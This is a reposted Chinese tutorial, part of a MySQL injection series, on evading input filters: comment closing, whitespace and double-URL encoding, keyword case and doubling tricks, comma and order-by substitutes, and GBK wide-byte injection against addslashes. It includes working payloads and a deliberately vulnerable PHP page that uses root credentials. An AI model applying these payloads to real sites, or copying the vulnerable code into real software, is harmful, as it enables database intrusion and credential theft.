您的位置:首页 > 数据库 > MySQL

【22】WEB安全学习----MySQL注入-7(绕过限制)

2019-07-11 13:35 309 查看
转载于:https://blog.csdn.net/a15803617402/article/details/82789477

注释符:-- 、#、/**/绕过

只能闭合后面的语句,使其成为正确的SQL语句。

  1. $sql="SELECT username FROM users WHERE id='{$id}' limit 0,1;"
  2. $id=-1' union select version() '1;
  3. $sql="SELECT username FROM users WHERE id='-1' union select version() '1' limit 0,1;"
[/code]

空格绕过

可通过注释符/**/进行绕过空格

或者是通过以下编码进行绕过。

%09    TAB 键(水平)
%0a    新建一行
%0c    新的一页
%0d    return 功能
%0b    TAB 键(垂直)
%a0    空格

关键字符绕过

1、如果不是忽略大小写过滤,则大小写变形进行绕过 Or And UnIon等

2、and or 可利用符号进行代替为  && ||

3、如果只匹配过滤了一次,可使用双字符进行绕过,如UNIunionON

URL二次编码绕过

如果后台会再次对接收到的参数进行URL解码,此时可以进行二次URL编码绕过。

  1. <?php
  2. $id=urldecode($_GET['id']);
  3. ?>
[/code]

#->%23->%25%32%33

HEX、BASE64等编码绕过

如果提交的数据区包含敏感词汇,被检测到,此时可以使用各种编码进行绕过。

逗号绕过

在使用函数时,大多数函数会使用逗号,如果过滤了逗号,那么以下函数可以不使用逗号进行绕过

  1. SELECT MID('mysql' from 1 for 1);
  2. SELECT SUBSTR('mysql' from 1 for 1);
  3. SELECT * FROM users limit 1 offset 1;
[/code]

order by绕过

当order by被过滤时,无法猜解字段数,此时可以使用into 变量名进行代替。

SELECT * FROM users WHERE id=1 into @a,@b,@c,@d;
[/code]

也可以使用group by进行代替

 

比较符绕过

比较字符>、<、=等,在盲注逐字猜解时用到,可使用in、between、strcmp、greatest等绕过。

宽字节注入

addslashes()

返回在预定义字符之前添加反斜杠的字符串,预定义字符是:
 单引号(')
 双引号(")
 反斜杠(\)

  1. <?php
  2. echo addslashes($_GET['id']);
[/code]

由于此函数对单引号和双引号及反斜杠都进行了处理,故不能闭合SQL语句从而进行注入。

PHP代码:

  1. <?php
  2. header('content-type:text/html;charset=gbk');
  3. @$id=$_GET['id'];
  4. if(!isset($id)){
  5. die('请传入GET方法id参数值');
  6. }
  7. $mysqli=new mysqli();
  8. $mysqli->connect('localhost','root','root');
  9. if($mysqli->connect_errno){
  10. die('连接数据库失败:'.$mysqli->connect_error);
  11. }
  12. $mysqli->select_db('user');
  13. if($mysqli->errno){
  14. die('打开数据库失败:'.$mysqli->error);
  15. }
  16. $mysqli->set_charset('gbk');
  17. $id=addslashes($id);
  18. $sql="SELECT username,passwd FROM users WHERE id='{$id}' limit 0,1";
  19. echo $sql.'<hr />';
  20. $result=$mysqli->query($sql);
  21. if(!$result){
  22. die('执行SQL语句失败:'.$mysqli->error);
  23. }else if($result->num_rows==0){
  24. die('查询结果为空');
  25. }else {
  26. $array1=$result->fetch_all(MYSQLI_ASSOC);
  27. echo '用户名:'.$array1[0]['username'].'<br />'.'密码:'.$array1[0]['passwd'].'<br />';
  28. }
[/code]

通过添加单引号被转义为\',无法闭合单引号进行注入。那么如果绕过这个注入呢,就要用到宽字节注入方法了。

通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。而mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。

 绕过的原理是:urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,此时就绕过了限制。

首先设置数据库编码方式为GBK,及页面显示也为GBK。

可看到,通过加入%df,%df%5c组成汉字【運】,后面的单引号限制就被绕过了

此时,就可以按照正常的流程进行注入了。

 

 

 

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: